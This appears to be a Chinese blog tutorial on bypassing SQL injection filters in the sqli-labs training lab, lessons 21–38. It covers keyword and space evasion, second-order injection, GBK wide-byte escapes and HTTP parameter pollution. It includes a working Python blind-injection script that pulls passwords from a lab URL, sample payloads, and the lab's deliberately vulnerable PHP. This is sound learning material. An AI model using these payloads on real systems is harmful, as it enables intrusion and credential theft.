绕过mysql转义字符_SQL注入:各种绕过检测的姿势
这一篇主要总结一下sqlilabs中advanced injection中的用到的各种绕过,也就是less21-less38。目录1)数据编码2)特殊字符、语法关键字过滤3)存储型注入4)特殊字符转义与宽字节注入5)防火墙保护与http参数污染数据编码这个是最简单的,就是在普通注入的基础上用响应的编码方式编码一下payload即可,比如sqlilabs上这两个靶站都是用的base64编码。特殊字符
这一篇主要总结一下sqlilabs中advanced injection中的用到的各种绕过,也就是less21-less38。
目录
1)数据编码
2)特殊字符、语法关键字过滤
3)存储型注入
4)特殊字符转义与宽字节注入
5)防火墙保护与http参数污染
数据编码
这个是最简单的,就是在普通注入的基础上用响应的编码方式编码一下payload即可,比如sqlilabs上这两个靶站都是用的base64编码。
特殊字符、语法关键字过滤
出现了的过滤与绕过方式:
1)注释符号被过滤:可以采用以 or 'a'='b 结尾的方式绕过。其实注释本来的作用也就是闭合语句,只要抓住这个核心目标就行。比如如果目标参数是双引号包裹的,就可以用 or "a"="b 结尾来绕过。值得注意的是,由于'-'是注释的一部分也被过滤掉了,会带来其它的一些副作用,因为'-'同时也是减号和负号。
2)空格被过滤:可以用%a0来替代空格分割语句。
3)and和or被过滤:可以用&&和||来替代。值得注意的是,这里也会产生一些副作用,比如password会被过滤成passwd,解决这个副作用的方法是双写or,也就是改用passwoorrd,passwoorrd中or被过滤掉之后就变成了password。
4)union和select等被过滤:根据过滤的具体实现方式,可以尝试用sElect,uniOn等来代替。
以less-26a为例展示一个注入脚本:
import requests
import string
mystring = string.printable
url='http://111.231.88.117/sqli_lab/sqli-labs-php7/Less-26a/'
url+='?id=10000%27)||(substring((sElect%a0group_concat(passwoorrd)%a0from%a0users),{0},1)=%27{1}%27)||(%27a%27=%27b'
reply='Your Login name:'
count = 1
result = ''
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
if reply in response.content:
result+=char
print(result+'......')
break
if result==temp_result:
print('no match')
break
if '###' in result:
print('result: '+result[0:-3])
break
count+=1
前面提到过的所有过滤检测与副作用的绕过都体现在了这个脚本里(其实这道题没有这么多过滤):
1)id=100000,负数用不了,改用同样也查询不到的大整数;
2)因为or用不了,password改成了passwoorrd;
3)select改成了sElect;
4)空格使用了%a0替代;
5)因为注释符被过滤,且参数被单引号和括号包裹,结尾用 (%27a%27=%27b 来使语句闭合。
存储型注入(二次注入)
所谓存储型注入,说的是我们先将注入语句存入数据库,再通过其它方式比如查询来触发这些注入语句使它们被执行,最终达到注入效果。
这是sqlilabs中唯一一道相关例题
我们先创建一个这样的账户:
username=admin'#
password=2333
创建成功后登录进去改密码:
username=admin'#
currentpassword=2333(随便填)
newpassword=00000000
confirmpassword=00000000
账户admin的密码就被改为了00000000。 这个漏洞的根本原因是,改密码的代码从数据中取数据时直接把admin'#拼接进了sql语句。
特殊字符转义与宽字节注入
常见的转义方式:
1)自定义转义函数,比如:
function check_addslashes($string){
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash $string = preg_replace('/\'/i', '\\\'', $string);
//escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash return $string;
}
2)调用函数 addslashes()
3)调用函数 mysql_real_escape_string()
它们都可能被宽字节注入绕过。
原理分析:
以单引号'为例,它被转义为\',我们的目标是去掉反斜杠,将'逃逸出来。现在我们不输入',而是输入%df',被转义后它变成:%df\',也相当于%df%5c%27(%5c表示反斜杠\ ),之后在数据库查询前由于使用了GBK多字节编码,%df%5c会gbk编码转换成为汉字"運",从而使得%27,也就是单引号逃逸。
宽字节注入与普通注入payload上的区别就是:在会被转义的字符前加上%df。
防火墙保护与http参数污染
我目前遇到的过的就只有:
防火墙的过滤:
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good"; //return $match; }
else
{
header('Location: hacked.php');
//echo "you are bad"; }
}
这个过滤的意思是,只要不是数字,全给过滤掉,照理说是非常安全的。然而:
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}
}
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);
函数java_implimentation()的逻辑有严重错误: 一旦这个数组里的个数不止1个,并且每个组员都是id开头,那么返回只会返回第一个组员的 比如id=1&id=sql_injection 传入java_implimentation函数会先被打散为:[“id=1”,”id=sql_injection”],返回的是1,成功的通过了whitelist的检查。 但是$id=$_GET['id']取的是最后一个id,所以我们只需要把payload放在后面的id就好。
比如:
?id=1&id= 'union select 1,version(),database() --+
这种绕过方法,就叫做http参数污染。
至此,sqlilabs中的basic injection(除了header injection,没有什么新东西就省略了)和advanced injection就总结完了。之后还有stacked injection和challenges。上面很多东西都写得很浅显,主要是因为我自己也还不太懂,以后再慢慢补充吧。
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)